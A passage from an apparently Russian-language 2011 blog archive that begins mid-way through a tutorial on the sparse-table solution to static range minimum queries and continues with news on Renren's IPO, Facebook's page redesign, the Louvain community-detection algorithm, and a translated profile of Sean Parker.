В голову приходит очевидное решение: ответ на каждый запрос будем находить, просто пробегаясь по всем элементам массива, лежащим на нужном нам отрезке. Такое решение, однако, не является самым эффективным. Ведь в худшем случае нам придётся пробежаться по O(n) элементам, т.е. временная сложность этого алгоритма – O(n) на один запрос. Однако, задачу можно решить эффективнее.


Постановка проблемы


Для начала уточним постановку задачи.

Что значит слово static в заголовке статьи? Задачу RMQ иногда ставят с возможностью изменения элементов массива. То есть к запросу взятия минимума добавляется возможность изменения элемента, или даже изменения элементов на отрезке (например, увеличения всех элементов на подотрезке на 3). Такой вариант задачи, называемый dynamic RMQ, я рассмотрю в последующих статьях.

Замечу здесь же, что задачу RMQ подразделяют на offline и online версии. В offline-варианте есть возможность сначала получить все запросы, проанализировать их каким-нибудь образом и только потом выдать на них ответ. В online-постановке запросы даются по очереди, т.е. следующий запрос поступает только после ответа на предыдущий. Заметим, что решив RMQ в online-постановке, мы сразу получаем решение и для offline RMQ, правда, может существовать более эффективное решение для offline RMQ, не применимое для online-постановки.

В этой статье мы будем рассматривать static online RMQ.

Время препроцессинга


Для оценки эффективности алгоритма введём ещё одну временнýю характеристику – время препроцессинга. В ней будем учитывать время на подготовку, т.е. предподсчёт некоторой информации, необходимой для ответа на запросы.


 Казалось бы, зачем нам надо выделять препроцессинг отдельно? А вот зачем. Приведём ещё одно решение задачи.

Перед тем как начать отвечать на запросы, возьмём и просто насчитаем ответ для каждого отрезка! Т.е. построим массив P[n][n] (в дальнейшем я буду пользоваться C-подобным синтаксисом, хотя массив A буду нумеровать с единицы для простоты реализации), где P[i][j] будет равняться минимуму на отрезке с i до j. Причём насчитаем этот массив хоть за O(n3) – самым тупым образом, пробегаясь по всем элементам для каждого отрезка. Зачем мы это делаем? Предположим, количество запросов q намного больше n3. Тогда общее время работы нашего алгоритма – O(n3) + q * O(1) = O(q), т.е. время на препроцессинг по большому счёту и не повлияет на общее время работы алгоритма. Зато благодаря насчитанной информации мы научились отвечать на запрос за время O(1) вместо O(n). Ясно, что O(q) лучше O(qn).

С другой стороны, при q < n3 время препроцессинга будет играть свою роль, и в приведённом алгоритме оно – O(n3) – к сожалению, является слишком большим, даже несмотря на то, что его можно снизить (подумайте как) до O(n2).

Начиная с этого момента будем обозначать временные характеристики алгоритма как (P(n), Q(n)), где P(n) – время на предподсчёт и Q(n) – время на ответ на один запрос.

Итак, мы имеем два алгоритма. Один работает за (O(1), O(n)), второй – за (O(n2), O(1)). Научимся решать задачу за (O(nlogn), O(1)), где logn – двоичный логарифм n.

Лирическое отступление. Заметим, что в качестве основания логарифма можно брать любое число, т.к. logan всегда отличается от logbc ровно в константное число раз. Константа, как мы помним из курса школьной алгебры равна logab.

Итак, мы дошли до следующего шага:

Sparse Table, или разреженная таблица


Sparse Table – это таблица ST[][] такая, что ST[k][i] есть минимум на полуинтервале [A[i], A[i+2k]). Иными словами, она содержит минимумы на всех отрезках, длина которых есть степень двойки.



Насчитаем массив ST[k][i] следующим образом. Понятно, что ST[0] просто и есть наш массив A. Далее воспользуемся понятным свойством:

ST[k][i] = min(ST[k-1][i], ST[k-1][i + 2k — 1]). Благодаря нему мы можем сначала посчитать ST[1], потом ST[2] и т. д.

Заметим, что в нашей таблице O(nlogn) элементов, потому что номера уровней должны быть не больше logn, т. к. при больших значениях k длина полуинтервала становится больше длины всего массива и хранить соответствующие значения бессмысленно. И на каждом уровне O(n) элементов.

Снова лирическое отступление: Легко заметить, что у нас остаётся много неиспользованных элементов массива. Не стоит ли по-другому хранить таблицу дабы не тратить память впустую? Оценим количество незадействованной памяти в нашей реализации. На i-ом ряду неиспользованных элементов – 2i – 1. Значит, всего неиспользованными остаётся Σ(2i – 1) = O(2logn) = O(n), т. е. в любом случае понадобится порядка O(nlogn) – O(n) = O(nlogn) места для хранения Sparse Table. Значит, можно не беспокоиться о неиспользуемых элементах.

А теперь главный вопрос: зачем мы всё это считали? Заметим, что любой отрезок массива разбивается на два перекрывающихся подотрезка длиною в степень двойки.


Получаем простую формулу для вычисления RMQ(i, j). Если k = log(j – i + 1), то RMQ(i, j) = min(ST(i, k), ST(j – 2k + 1, k)). Тем самым, получаем алгоритм за (O(nlogn), O(1)). Ура!

…почти получаем. Как мы логарифм считать собрались за O(1)? Проще всего его тоже предподсчитать для всех значений, не превосходящих n. Понятно, что асимптотика препроцессинга от этого не изменится.

А что дальше?

А в последующих статьях мы рассмотрим множество вариаций этой задачи и сюжеты, связанные с ними, как то:
-дерево отрезков
-интервальная модификация
-двумерное дерево отрезков
-смежная задача RSQ
-дерево Фенвика
-задача LCA
-персистентная постановка задачи RMQ
-…много чего интересного…
-и самая прелесть: алгоритм Фараха-Колтона и Бендера и преобразование RMQ -> LCA -> RMQ±1, позволяющее решать задачу RMQ за (O(n), O(1))

За подробностями можно обращаться, например, в умную книжку Т. Кормена, Ч. Лейзерсона, и Р. Ривеста «Алгоритмы: построение и анализ».

Благодарю за внимание!)



суббота, 26 февраля 2011 г.

Китайский Facebook


Когда Renren — восточный клон западной социальной сети — выйдет на IPO, его создатель Джо Чэнь может стать миллиардером.

Китайский предприниматель Джо Чэнь может стать главным героем следующего крупного технологического IPO — его социальная сеть Renren размещается на NASDAQ и планирует привлечь $500 млн.
Renren начинался как клон Facebook, но не может, конечно, тягаться с его оценкой — больше $50 млрд. После IPO (им занимаются Morgan Stanley, Credit Suisse и Deutsche Bank) рыночная капитализация сети может составить $2-3 млрд. Renren — уже не первый клон американского сайта, проводящий публичное размещение раньше оригинала. Прежде это удавалось Youke (аналог YouTube) и реплике Amazon — Dangdang. В прошлом году Китай поставил 22 (из 61) стартапа, которые вышли на открытый рынок в США. Еще больше ожидают своей очереди в этом году — например, видеообменник Tudou.
Владелец Renren компания Oak Pacific Interactive привлекла рекордные инвестиции венчурного капитала для китайского стартапа — около $500 млн ($430 млн были получены в 2008 году от японского конгломерата Softbank Corp за долю в 35%). Самому Чэню все еще принадлежит 30% компании, основанной им в 2002 году. Среди совладельцев венчурные компании DCM, General Atlantic и Accel Partners (ранний инвестор Facebook).
Ведущий бренд компании Oak Pacific сайт Renren выбился в лидеры в китайском сегменте социальных сетей, в то время как три больших китайских интернет-гиганта, Baidu, Alibaba и Tencent (Чэнь называет их «BAT»), завоевали рынки поиска, электронной коммерции и мгновенных сообщений.
По данным Analysys International, Renren насчитывает 160 млн зарегистрированных пользователей. (Аналитики IDC оценивают китайский рынок социальных сетей в 100 млн подписчиков и прогнозируют рост на 40% к 2014 году). Renren занимает 16-е место в списке популярных китайских сайтов (Alexa), уступая Baidu, сервису мгновенных сообщений «QQ» от Tencent, аукциону Taobao, и сайтам видеообмена Youku и Tudou.
Если Facebook все-таки придет сейчас в Китай (а пока он там заблокирован), его шансы обойти Renren совсем неочевидны. Великую стену не смогли покорить ни MySpace, ни eBay, а Google в прошлом году перестал поддерживать в стране свой поисковик, не желая мириться с цензурой.
Джо Чэнь, как и многие основатели ведущих китайских стартапов, пришел в бизнес, получив образование в лучших американских университетах и опыт в Кремниевой долине. Одним из кумиров Чэня является Уоррен Баффетт. Он бегло говорит по-английски — когда ему было десять лет, его семья переехала из центрального китайского городка Вухан в США.
Чэнь начинал учиться на физика, позже получил степень МВА Стэнфорда и степень магистра Массачусетского технологического института. В Стэнфорде он вместе с одногруппниками создал сетевой стартап для бывших выпускников Chinaren.com. Торгующийся на NASDAQ портал Sohu.com приобрел его в 2000 году за $33 млн — год спустя после того, как Чэнь окончил Стэнфорд.
Стараясь получить свою долю в быстро растущем китайском секторе интернета и мобильных коммуникаций, Чен перепробовал многое.
Покупая и создавая бесчисленное количество сайтов, с тех пор как он вернулся в Китай в 2002 году после пары неудачных ранних предприятий в Далласе, он пришел к выводу, что необходимо изменить бизнес-модель. От беспроводных коммуникаций он перешел к социальным играм и социальным сетям. В 2009 году Чэнь ребрендировал аналог Facebook, сайт Xiaonei.com, который он приобрел в 2006 году, назвав его Renren. Затем, в прошлом сентябре, Чэнь соединил Renren с сайтом социальных игр Kaixin.com.
Летом, когда пройдет размещение, Чен вполне может стать следующим китайским интернет-миллиардером.

Распространение социальных сетей в мире


Соцсеть Facebook переводит публичные страницы на новый дизайн


Крупнейшая в мире социальная сетьFacebook изменила вид публичных страниц (Facebook Pages), предназначенных для компаний, брендов, известных персон и СМИ, приводя их дизайн в соответствие со стилистикой пользовательских профилей, сообщила на конференции i-Comference в пятницу руководитель российского офиса Facebook Екатерина Скоробогатова.
Интересным нововведением стала возможность настраивать список запрещенных на странице выражений. "Вы составляете список ключевых слов, которые не хотели бы видеть на своей странице. Когда пользователь пишет что-либо на вашей странице или оставляет комментарий, включающий это слово, этот комментарий не показывается", - сообщила Скоробогатова.
Основная фотография страницы уменьшилась, меню навигации теперь располагается под ней, а остальные фотографии вынесены на верхнюю панель. Кроме того, у страницы появилось два фильтра - один позволяет видеть только записи от администраторов, а другой - просматривать как новости страницы, так и посты ее пользователей с наибольшим количеством комментариев и "лайков".
Владельцы страниц могут отныне изменять категорию, к которой относится их ресурс, однако редактирование названия страницы по-прежнему не допускается.
Одним из наиболее важных нововведений для администраторов стала возможность войти в социальную сеть как под личным аккаунтом, так и под аккаунтом официальной страницы, и таким образом общаться с пользователями Facebook непосредственно от имени ресурса. На странице можно добавить список избранных администраторов, а также связанных по тематике страниц.
Кроме того, администратор страницы может теперь настроить систему уведомлений по электронной почте об активности пользователей и сформировать собственную ленту новостей, в которой будут собраны новости с интересующих его страниц.
Сейчас владельцы публичных страниц могут протестировать нововведения и перевести свои ресурсы на новый дизайн добровольно. Однако с 10 марта этот новый формат автоматически станет стандартным и обязательным для всех.
Изменения дизайна профильной страницы пользователей Facebook представила в декабре, а в январе социальная сеть начала переключать на обновленный вид всех владельцев аккаунтов, в том числе российских.
Публичные страницы в Facebook имеют певица Lady Gaga (более 25 миллионов поклонников), британская королева Елизавета II, компания Coca-Cola, президент США Барак Обама и другие

четверг, 24 февраля 2011 г.

Алгоритм для выявления сообществ в больших сетях

В последнее время предпринимаются многочисленные попытки разработать эффективный алгоритм для выявления сообществ в социальных сетях из миллионов узлов, которые невозможно визуализировать или анализировать на уровне отдельных узлов.

Бельгийские разработчики представили новый алгоритм, который превосходит все существующие аналоги по вычислительной скорости. Вследствие этого его можно применять на базах беспрецедентного размера: анализ типичной сети из 2 млн нодов занимает 2 минуты. Он получил название Лувенский метод (Louvain Method), поскольку создан в то время, когда все разработчики трудились в Лувене (Бельгия).

Лувенский метод доказал свою точность при тестировании на сетях с известной структурой сообществ, где можно было проверить результат. Благодаря своей иерархической структуре он подходит для анализа сообществ в различных масштабах. В частности, его проверяли также для сообществ в сети бельгийского оператора мобильной связи (2,6 млн абонентов) и на базе веб-страниц, собранной краулером Stanford WebBase (118 млн узлов и более 1 млрд ссылок).

Результат анализа базы абонентов в сети бельгийского оператора сотовой связи. Красным цветом отмечены сообщества, разговаривающие на французском языке, зелёным — на голландском. Зуммирован участок «промежуточных» сообществ, которые общаются на обоих языках. В этом масштабе отображены группы людей более 100 человек.

Метод состоит из двух стадий. На первой происходит поиск «малых» сообществ путём оптимизации модульности на локальном уровне. На второй стадии узлы одного сообщества агрегируются и строится новая сеть большего масштаба, после чего эти стадии повторяются до тех пор, пока не будет достигнут максимальный уровень модульности. 



Таким образом, после каждого этапа программа отображает сообщества всё большего масштаба.

Более подробная информация приведена в статье Fast unfolding of communities in large networks. Например, там содержится таблица качества и скорости работы алгоритма по сравнению с алгоритмами Clauset/Newman/Moore, Pons/Latapy и Wakita/Tsurumi. Для каждой задачи указан уровень модульности и время выполнения на машине Opteron 2,2 ГГц с 24 ГБ RAM (прочерк, если время превышает 24 часа). Судя по результатам, Лувенский метод буквально не имеет себе равных.
Программа на C++ и matlab распространяется бесплатно.

Шон Паркер — хакер, со-основатель Napster, Plaxo и Facebook, миллиардер и инвестор

После просмотра фильма "The Social Network" мне стало интересно, насколько реален персонаж Шона Паркера, изображенный в фильме. Статья в Vanity Fair во многом утолила мой интерес, а Паркер оказался даже любопытнее, чем я предполагал. Так что я не удержалсья и перевел статью — все ее «много букв» того стоят.

Те, кто не смотрел фильм, а только планирует, учтите, в тексте будет немного спойлера.

В 19 Шон Паркер помог создать Napster. В 24 он стал президентом-соучредителем Facebook. В 30 лет он – любитель вечеринок, гений, знаток социальных сетей, стесняющийся прессы, перспективный миллиардер. А теперь еще и знаменитость после того как Джастин Тимберлейк сыграл его в фильме Дэвида Финчера «The Social Network».

Шон Паркер сидел на уроке, посвященном мировым цивилизациям в своей школе в Вирджинии, когда вдруг кто-то передал ему записку. Его отец, — было сказано в ней, — ждал его, чтобы поехать на прием к врачу-ортодонту. По спине Паркера пробежал холодок. У него не было ортодонта. Когда он вышел, отец рассерженно запихнул его в семейный минивен. К тому моменту, когда они приехали в их скромный загородный дом, группа агентов ФБР выносила документы и настольный компьютер из комнаты Шона.

Всего за несколько лет Паркер превратился из арестованного 16-летнего хакера, который взламывал компьютерные сети разнообразных международных корпораций и даже военные базы данных, в интернет-предпринимателя мирового уровня. В 1999 году он стал впервые известным, в 19 лет, благодаря помощи в создании Напстера своему еще более молодому другу, Шону Фэннингу. Этот сервис по свободному обмену музыкой в корне изменил музыкальную индустрию. Позднее Паркер сыграл значительную роль в качестве президента-соучредителя Facebook, социальной сети, в которой 500 миллионов человек проводят 700 миллиардов минут в месяц. Если бы он не присоединился к основателю, Марку Цукенбергу, в Пало Альто летом 2004 года, когда Facebook существовал всего 5 месяцев, сервис скорее всего не был бы настолько колоссальным, каким он является сегодня.

Паркера многие считают веб-оракулом; неоднократно его коллеги и знакомые использовали по отношению к нему слово «гений». Он разбирается не только в компьютерах и сетях, но и в том, как люди хотели бы внедрить их в свою жизнь. И, в результате, он стал невероятно успешным. Но есть, разумеется, и оборотная сторона. Паркер также славится тем, что не соблюдает сроки, пропускает встречи, может пропасть на несколько недель и избегает прессы. (Его решение о сотрудничестве с Vanity Fair скорее беспрецедентное исключение). Он был изгнан из Facebook после ареста за хранение кокаина в 2005 году (никаких обвинений выдвинуто не было). Даже среди тех, кто его поддерживает, он известен как человек, любящий уходить в загул.



Сейчас он на пороге нового уровня славы ввиду выхода фильма «The Social Network». Фильм повествует о первом годе существования Facebook, частично описывая «темную сторону» личности Паркера. Джастин Тимберлейк играет вкрадчивого и вероломного Паркера, который и в фильме и в жизни был основным ментором Цукенберга во время становления Facebook. Но согласно сценарию Аарона Соркина, Паркин оказывается также напористым, жадным и дальновидным манипулятором. «Миллион долларов – это не круто, — говорит Паркер в какой-то момент в фильме. – Ты знаешь что круто? Миллиард». Цукерберг, которого сыграл Джесси Айзенберг, изображен самоуверенным, злобным, и немного сексуально-одержимым.

Настоящий Паркер сложнее и интереснее, несмотря на отличные навыки Соркина и режиссера, Дэвида Финчера. В частности, Паркер – изысканный щеголь, а также довольно уникальная и необычная личность в анналах бизнеса 21 столетия. В 30 лет его состояние практически достигло миллиарда долларов, в основном благодаря акциям Facebook, которые ему все еще принадлежат. Самоучка, который едва закончил школу, он, тем не менее, очень умен. Будучи болезненным ребенком, чьи приступы астмы периодически отправляли его в больницу, он начал много читать с раннего возраста. Его отец, океанограф, начал учить сына программированию в возрасте 7 лет. Практически нет темы – в литературе, политике, медицине или технологиях, — на которую он не мог бы поддержать разговор и высказать свое мнение.

Он сконцентрировал и направил свои знания и инстинкты в область Интернет бизнес-стратегии, чтобы, как он сам говорит: «перестроить общество. Сейчас технологии, а не бизнес или государство, служат реальной движущей силой в масштабных изменениях в социуме». Также Паркер известен тем, что хорошо умеет предсказывать, куда направлен следующий виток развития технологий (и какой тип продукта или услуги будет востребован потребителями), так что компании часто приглашают его просто чтобы использовать его мозг. «Немногие люди так же умны как он», — говорит 26-летний Цукерберг, который до сих пор часто консультируется со своим бывшим партнером.

Но, несмотря на весь свой опыт в области веба, временами кажется, что Паркера привлекают только развлечения. Он – «programmer-as-rock-star», нередко проводящий время среди настоящих рок-звезд, ведет соответствующий этому стиль жизни. Обычно он встает очень, очень поздно, активно обсуждает вещи, которые ему интересны или посещает вечеринки – и затем спит большую часть следующего дня. По словам его давнего друга, айти-инвестора из Сан-Франциско, Рона Конвея: «То, что Шон настолько рассеян, и в то же время настолько талантлив – это нечасто встречающееся сочетание. Вероятно, он создаст еще пяток «судьбоносных» компаний, прежде чем ему надоест этим заниматься».

Опыт Паркера в хакерстве в старшей школе также сам по себе кинематографичен: эдакая домашняя версия сцены с Мэтью Бродериком из «WarGames».
Тинейджер всю ночь сидел в своей комнате, глубоко погружаясь в недра компании из списка Fortune 500, название которой он отказывается сообщать. В то время, по его словам, у него было хобби – взламывать различные виды организаций, собирая коллекцию .com, .edu, .mil и .gov доменов, в которые он проник по всему миру. Его целью было взломать по каждому типу компаний из списка стран, занимающихся отмыванием денег. Он утверждает, что попав внутрь, он обычно извещал системного администратора письмом (отправленным с собственной почты администратора), о тех уязвимостях, что он нашел.

К сожалению, именно этой ночью его отец спустился вниз в 5 утра. Паркер не очень хорошо учился в школе, периодически зарабатывая и высший балл, но чаще он отказывался заниматься, получая соответствующие оценки. «Все было продумано, — уверяет он. — Я хотел доказать себе, что я все держу под контролем – что я не был марионеткой. Я не хотел пресмыкаться перед системой». Увидев сына перед компьютером, отец Паркера, разозлившись, осознал, что еще один день в школе пойдет коту под хвост. «Ну и, — припоминает Паркер, — он выхватил клавиатуру из моих рук, выдернул ее из компьютера, и унес наверх. Я стал кричать ему: «Отец, ты не понимаешь что делаешь! Я должен разлогиниться!», но он мне не позволил». Из-за невозможности скрыть следы своего пребывания, взлом Шона Паркера был обнаружен, а его местонахождение выяснено при помощи его интернет-провайдера. В конечном счете, благодаря его юному возрасту, его лишь обязали к общественным работам.

Один из аспектов этой истории объясняет отношение Паркера к идее «восстания» и отсутствие негатива. Общественные работы, назначенные судом, он выполнял в библиотеке, вместе с другими подростками-нарушителями. Там он познакомился с девушкой, которую описал как «панк-рок принцесса». Однажды она написала свой номер телефона на руке Паркера – шариковой ручкой, он точно помнит, — и спустя несколько месяцев с ней он потерял девственность. «Я считал это невероятной, потрясающей иронией. Это был самый романтичный опыт в моей жизни, и все благодаря тому, что меня захватило ФБР».

Примерно в то же время Паркер онлайн познакомился с 15-летним Шоном Фэннингом, другим талантливым хакером. Фэннинг припоминает их первую беседу: «Практически сразу мы стали обсуждать вещи вроде теоретической физики. Мы обнаружили, что у нас много общего». Вместе с парой товарищей, они вскоре открыли компанию под названием Crosswalk, которая обеспечивала услуги в области интернет-безопасности, и предлагала консалтинговые услуги компаниям, которые могли бы в противном случае стать их целью. Они не преуспели. Паркер, между тем, начал работать программистом в крупной Интернет-компании неподалеку от дома, параллельно с этим заканчивая выпускной класс школы.

Вопреки желаниям родителей, Паркер решил не поступать в колледж, и когда Фэннинг рассказал ему о своем плане по созданию Напстера, он мгновенно согласился участвовать, став со-основателем и привнеся несколько ключевых идей. Он собрался и переехал в Сан-Франциско, хотя до этого никогда не жил вне дома, по словам его матери.

В свой первый год существования сеть по обмену музыкой вовлекла десятки миллионов энтузиастов. Паркер вскоре пристрастился к ночным клубам и рейв-тусовкам. Однако вскоре Напстер вызвал ярость у рекорд-компаний, и те начали судебное преследование проекта. Спустя 14 месяцев федеральный суд наложил запрет на скачивание пользователями файлов, защищаемых авторским правом. Электронные письма Паркера, в которых он беспечно обсуждал вероятность того, что пользователи нарушают закон, были предъявлены в суде и использованы юристами индустрии. Однако в результате апелляции судья позволил сервису продолжить существование, и это стало началом долгой и мучительной смерти Напстера. Паркер, впрочем, был изгнан из компании другими партнерами Фэннинга, постарше. Так начался цикл головокружительного успеха, за которым следовало унизительное падение.

В начале 2001 он пытался основать свою собственную Интернет-компанию, и восстановить свое имя. «У нее был потенциал стать не меньше Напстера», — говорит он. – Иначе мне просто было бы не интересно». Он понял, что его электронная адресная книга устарела. Возможно, всем был бы полезен сервис, который помог бы держать ее обновленной. Может ли это стать компанией? Однако идее потребовалось время на формирование, и еще более долгое время на поиск финансирования. «Я жил на диванах (друзей) примерно шесть месяцев, — рассказывает Паркер. – У меня не было дома. Я был полностью разорен. Я жил две недели дома у одного друга, и затем переезжал, потому что я не хотел становиться нахлебником». Его девушка в это время уговаривала его сдаться и пойти на работу в Старбакс.

В конце-концов Паркер и несколько его партнеров смогли получить небольшое финансирование от Sequoia, престижной инвестиционной компании. Компания под названием Plaxo открыла свои двери в ноябре. Довольно быстро она стала наиболее известным, благодаря своей надоедливости, сервисом в Интернете, бомбардируя невинных интернет-пользователей запросами на обновление информации в адресных книжках своих друзей. Для Паркера это была победа – триумф вирусного маркетинга. Но вскоре последовало и поражение. Ненадежность Паркера стала сказываться на его коллегах и инвесторах компании. Иногда он мог вовсе не прийти на работу. В начале 2004 он был уволен. Совет директоров компании впоследствии нанял частного детектива, чтобы выяснить, правдивы ли были слухи о том, что Паркер, в частности, поставлял наркотики коллегам. Паркер, который называет эти обвинения «нелепой, грязной кампанией» — вновь оказался на улице, и вновь был разорен.

Он стал общаться с некоторыми из своих новых друзей из Сан-Франциско, включая Джонатана Абрамса, программиста, основавшего Friendster в 2002, с целью помочь людям познакомиться. Паркер был восхищен Friendster-ом, ставшим в тот год первой социальной сетью, количество членов которой превысило миллион. Однако сервис стал трещать по швам, когда система перестала справляться с объемом трафика. Паркер, впрочем, почувствовал в этом отличную возможность.

Однажды, — эта сцена присутствует в фильме, — Паркер увидел Thefacebook, как он тогда назывался, на компьютере своей подружки, студентки Стенфорда. (В фильме она представлена как случайная девушка на одну ночь). Паркер к этому моменту уже пришел к выводу, что наибольший успех ждет социальную сеть, запущенную в относительно закрытом сообществе. Колледж казался идеальной средой. Он исследовал сайт, и отправил письмо парню, запустившему его – Марку Цукербергу, второкурснику Гарварда, с предложением встретиться.

Мэтт Колер, пришедший в Thefacebook сразу вслед за Паркером, восхищается, когда речь заходит об этом историческом письме. «Napster и Facebook – две одни из наиболее значимых компаний в Интернет-индустрии, и в обоих случаях Паркер заметил их раньше, чем кто-либо другой – кроме людей, что их, собственно, придумали».

Паркер неожиданно отправился в Нью Йорк, где встретился с Цукербергом за ужином, и они быстро нашли общий язык друг с другом. Несколько месяцев спустя, в июне 2004, они случайно столкнулись на улице в Пало Альто, где Паркер, безработный (но все еще разъезжающий на BMW 5й серии), жил с очередной подружкой. Цукерберг предложил ему въехать в летний дом, арендованный для Facebook. Поначалу Паркер спал на коврике, на полу в комнате со-основателя Дастина Московица, пока, по словам Московица, «отношения с моей девушкой не стали более серьезными, и мне пришлось его выставить». Пожалуй, в то время Паркер более чем когда-либо в своей жизни сосредоточился на одном проекте.

В то время Паркер верил в потенциал компании едва ли не больше, чем сам Цукерберг. Петер Тиль, миллиардер, менеджер хедж-фонда и со-основатель PayPal, который стал первым инвестором Thefacebook, говорил в то время: «Шон постоянно уверял, что Facebook будет чем-то по-настоящему большим. И даже если у Марка были какие-то сомнения, Шон был именно тем, кто пресекал их». В конце августа 2004 Цукерберг и Паркер отправились в отдел банка Silicon Valley, чтобы открыть счет для компании. За два месяца до начала осени Цукерберг все еще продолжал говорить о возврате в Гарвард, и эти двое продолжали свой спор, даже находясь в банке – вспоминает его старший вице-президент, Кен Ловлес. Паркер был уверен, что Цукербергу не стоит возвращаться (и тот бросил учебу). Московиц говорит: «Шон, вероятно, сделал для Facebook, не так много как он думает, но больше, чем о его роли думают другие».

Помимо роли боевого товарища Цукерберга, Паркер также работал на укрепление своей позиции партнера, чтобы то, что произошло с Паркером в Plaxo, не повторилось в Thefacebook. В финансировании, о котором Паркер вел переговоры с Петером Тилем, и во время более масштабной сделки семь месяцев спустя с инвестиционной компанией Accel Partners, Паркер сумел выторговать для Цукерберга то, что было неслыханным для венчурного старт-апа: абсолютный контроль основателя компании. Благодаря этому, Цукерберг до этого дня контролирует три из пяти мест в совете директоров (включая свое собственное). Без этого контроля, Facebook наверняка была бы продана либо Yahoo, либо Microsoft, директор которого, Стив Балмер, предложил $15 миллиардов за компанию осенью 2007 года – и в ответ получил лишь недоуменный взгляд от 23-летнего Цукерберга.

И вновь поведение Паркера привело его к краху. Во время отпуска в Северной Каролине в 2005 году он был арестован на вечеринке в своем доме по подозрению в хранении кокаина. И хотя формальных обвинений ему не предъявили, некоторые из инвесторов и сотрудников Facebook сочли, что Паркер больше не может эффективно работать в роли президента компании. Несмотря на огромное сожаление, тот согласился уйти.
Впрочем, даже учитывая унизительный уход, Паркер, к этому моменту, научился лучше справляться с ударами. Подтверждением чему является тот факт, что Цукерберг никогда лично не отрекался от него. «Я не думаю, что Шон действительно покинул Facebook, — говорит член совета директоров Тиль, - он остался вовлеченным во многие аспекты деятельности компании».

Работа с Паркером, по мнению нескольких его коллег, способна не только быть в удовольствие, но и приводить к фрустрации. Джо Грин, одноклассник Цукерберга по Гарварду, который нынче выступает партнером Паркера в Facebook-приложении под названием Causes – помогающем людям жертвовать средства некоммерческим организациям – впервые познакомился с Паркером 6 лет назад в том самом летнем доме в Пало Альто. «Я спал на диване, — припоминает Грин, — и тут пришел Шон чтобы одолжить денег на стрижку». Однажды, по словам Грина, когда они вдвоем опаздывали на самолет, Паркер попросту отказался оторваться от своей электронной почты. «Он сказал, что занят очень важной вещью, которая того стоит». Временами, уверяет Грин, единственный способ достучаться до Паркера – это «бомбардировка звонками», нужно позвонить 10-20 раз ему, пока Паркер, который редко слушает сообщения на автоответчике, не сообразит, что кто-то действительно хочет с ним пообщаться.

Рейд Хоффман, давний друг и основатель LinkedIn, занимающий вместе с Паркером места в совете директоров Gowalla – гео-сервиса для соц.медиа – припоминает как Паркер предложил новую интригующую концепцию компании во время их беседы в Давосе, Швейцарии. «Я сказал: «Чувак! Ты должен начать чаще приходить на совет директоров!» Это стиль Паркера – отличная идея, трудоголизм, и затем временное исчезновение».
«Почему мы все это терпим? – риторически спрашивает Грин. – По двум причинам. Он привносит значительную ценность, пока он там. И он очень лоялен. Когда вы действительно в нем нуждаетесь, он будет с вами. Это обеспечивает запас доверия».

В огромной квартире Шона Фэннинга, на 40 этаже здания, находящегося напротив знаменитого моста в Сан-Франциско (Bay Bridge), играет регги. Поздний вечер, Паркер вытягивается на стуле и начинает оплакивать скудость современной культуры, недостаток революционных идей и мыслителей масштаба, скажем, Джима Моррисона и Джека Керуака. «Они были способны на безрассудства, — говорит он, — способны были рисковать. Мы живем в крайне репрессивную эпоху, и мы отказываемся признавать, насколько она репрессивна, ведь нас убедили, что все те способы протеста, вроде прослушивания рок-музыки, больше не являются прибежищем сатаны. Курить траву теперь вроде тоже считается ок, и приемлемо в определенных кругах». По мнению Паркера, люди его положения просто обязаны делать все что могут с помощью предоставленных им инструментов – программ и Интернета – чтобы освободить общество при помощи технологии. По его мнению, очевидно, что предпринимательство и изобретательство послужат основой для социальных изменений.

Паркер пытался объяснить свою мысль, пока блуждал по улицам в поисках здания, где живет Фэннинг (несмотря на то, что оно самое высокое в этом районе). «Я думаю, что наилучший способ описать меня – это взять за основу архетип Локи», — начинает Паркер, — «я как Герой с Тысячей Лиц Джозефа Кэмпбелла. Я как злой дух-проказник. Он не стремится причинить вред, но очень хочет сбросить маску с традиционного, общепризнанного понятия об обществе. Эта «диссидентская» идея была очевидна в Напстере. Она заключалась в том, что король – индустрия контента – был голым, — и, подумав, добавляет, — Это все, вероятно, звучит ужасно претенциозно и нарциссично».

Да, звучит. Но пока сам Паркер мечется между низкой и высокой самооценкой, он может рассчитывать на большинство из своих друзей, которые восторженно о нем отзываются. Петер Тиль: «Я говорил Шону, что он может оказаться давно потерянным внуком Говарда Хьюза – потрясающий предприниматель, который как-то видоизменяет Соединенные Штаты, но остается не понятым обществом. Шон – один из величайших «серийных предпринимателей» своего поколения, кто-то, кто действительно изменяет мир и вращает колеса истории».

Паркеру легко заводить новых друзей, и он делает это довольно часто. Люди всех типов оказываются увлечены его идеями и энтузиазмом. «Шон – гений, без вопросов», — говорит Эштон Катчер, которого Паркер консультировал, когда актер создавал свою производственную компанию, ориентированную на Интернет. Основатель Википедии, Джимми Уэльс, познакомился с Паркером в 2008 и они стали проводить время вместе. «Он быстро соображает, — говорит Уэльс. – Он потрясающе увлечен и полон идей». Один из близких друзей Паркера, музыкант Шон Леннон, предполагает: «Его мозг похож на технологический эквивалент Александрийской библиотеки. Он действительно один из самых умных людей, которых я когда-либо встречал – и это еще преуменьшение. Он всегда говорит про потенциал компьютеров генерировать алгоритмы для мелодий, которые будут нравиться людям. Он верит, что это лишь вопрос времени, когда компьютеры научатся создавать музыку. Шон – человек искусства, «художник» от бизнеса».

Актриса и общественный деятель, Труди Стайлер, жена Стинга, пригласила Паркера и его тогдашнюю подругу на вечер филантропов и общественных деятелей, который пара проводила в своем Тосканском поместье в прошлом году. Там Паркер познакомился с Ларой Зискин, продюсером фильмов про Человека-паука и со-основателем благотворительной организации, посвященной борьбе с раком. «Выяснилось, что у Шона есть интерес к иммунологии, и вера в то, что это следующий фронт исследований в борьбе с раком», — говорит Зискин. «Он говорил об этом со столькими же людьми, что и я!» Теперь они друзья. Стайлер говорит, что впечатлена: «Он был так обходителен со всеми и добр. Существо высшего порядка. Я им очень горжусь». (Паркер, в то же время, панибратски общается с представителями мировой элиты и политики – но в своей собственной манере. Во время всемирного экономического форума в январе, он был разочарован уровнем ночной жизни в Давосе и предлагал устроить лучшую вечеринку всех времен, что видел форум, если бы ему позволили арендовать крупнейшую местную площадку и пригласить кое-кого из его друзей рок-звезд).

Любитель хорошей жизни, Паркер остается коллекционером элегантных белых ботинок, его гардероб полон костюмов от Тома Форда, а на вождение электро-спорткара Тесла, стоимостью в $100 000, кажется, никогда не хватает времени. Он проводит свои вечера то в квартире в Сан-Франциско, то в снимаемом им 5-этажном таун-хаусе в Нью Йорке. Среди его многочисленных «удобств» — ухоженный газон на балконе третьего этажа.

